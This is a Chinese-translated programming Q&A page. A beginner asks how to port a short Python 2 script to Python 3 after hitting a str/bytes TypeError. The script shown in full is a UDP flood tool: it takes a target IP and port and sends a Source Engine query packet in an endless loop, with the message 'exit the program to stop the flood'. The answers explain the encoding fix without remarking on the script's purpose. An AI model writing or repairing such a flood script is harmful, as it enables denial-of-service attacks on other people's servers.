2012-12-04 106 views
1

這是用Python 2.x編寫的代碼,我想讓它在Python 3.x中運行。TypeError:'str'不支持緩衝區接口4

這行看起來像在Python 3.x中工作的樣子是什麼?

while True: 
    sock.sendto(bytes,(ip,port)) 

注意:我從未在今天之前使用Python,所以如果這對你來說是一個愚蠢的問題,請不要開槍。


下面是整個代碼,它應該看起來像在Python 3中工作的樣子?

import socket, sys 

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00' 

ip = input("Target IP: ") 
port = input("Target Port: ") 

print ("Exit the program to stop the flood") 

while True: 
    sock.sendto(bytes,(ip,port)) 
+1

什麼是'bytes'的類型,你能展示更多的代碼嗎? – unwind

+0

鑑於標題,這可能是錯誤消息,我想這是一個'str'。 –

+0

import socket,sys sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) bytes ='\ xff \ xff \ xff \ xff \ x54 \ x53 \ x6f \ x75 \ x72 \ x63 \ x65 \ x20 \ x45 \ x6e \ x65 \ x20 \ x51 \ x75 \ x65 \ x72 \ x00' ip = input(「Target IP:」) port = input(「Target Port:」) print (「退出程序停止洪水」) while True: \t sock.sendto(bytes,(ip,port)) – user1875727

回答

1

最有可能的bytes是一個str,這意味着它是一個字符集合。在網絡上,您不能發送字符,但只能發送字節。字符可以通過多種方式編碼成字節流。你很可能想要使用utf-8。您可以使用the_string.encode ('utf-8')將str編碼爲一個字節對象。這個字節對象可以通過網絡發送。

2

該代碼是恰好在Python 3.

相同的區別在於str類型表示在Python 3. str Unicode字符串是在Python 2.

字節字符串轉換bytesbytes例如s.encode(encoding)。還要重命名bytes以避免與內部名稱bytes混淆。

相關問題